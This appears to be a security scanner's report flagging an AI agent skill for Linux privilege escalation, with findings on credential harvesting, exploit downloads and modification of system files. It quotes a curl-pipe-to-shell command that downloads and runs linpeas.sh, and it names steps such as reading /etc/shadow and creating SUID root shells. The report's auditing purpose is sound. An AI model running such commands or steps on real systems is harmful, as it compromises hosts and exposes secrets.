escalating-linux-privileges

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). The skill explicitly instructs enumerating and printing sensitive data (env vars, /etc/shadow, SSH keys, serviceaccount tokens, etc.) and shows commands that embed or expose those secrets, which requires the agent to handle and potentially output secret values verbatim.

---

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 0.80). While many links point to legitimate, widely-used security-research resources (GTFOBins, HackTricks, PEASS, PayloadsAllTheThings), the set includes raw .sh files and precompiled exploit binaries/releases and repositories of kernel/exploit code—direct downloads of scripts/binaries and exploit collections are high-risk and can easily be used to distribute malware if executed without careful verification.

---

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The content is explicitly a post-exploitation privilege-escalation playbook containing step-by-step commands for credential harvesting, remote shells, SUID/cron/sudo abuse, kernel and container escapes, and persistence mechanisms, and therefore constitutes deliberate malicious and backdoor-capable guidance.

---

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (high risk: 1.00). The SKILL.md explicitly instructs the agent to fetch and run content from public, user-maintained sites (e.g., curl/wget of GitHub raw URLs for linpeas.sh, LinEnum, lse.sh, pspy and advice to "Google search"/use SearchSploit for kernel exploits), which are untrusted third‑party sources that the agent would ingest and could materially alter behavior.

---

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill explicitly instructs runtime download-and-execute of remote scripts (high-risk example: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh), which fetches and executes external code the skill relies on for enumeration.

---

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly directs the agent to enumerate and exploit sudo/SUID/capabilities, run kernel exploits, modify critical system files (e.g., /etc/passwd, /etc/sudoers, /etc/shadow), create SUID root shells and add root SSH keys, and perform container escapes — all actions that modify and compromise the host system state and obtain persistent privileges.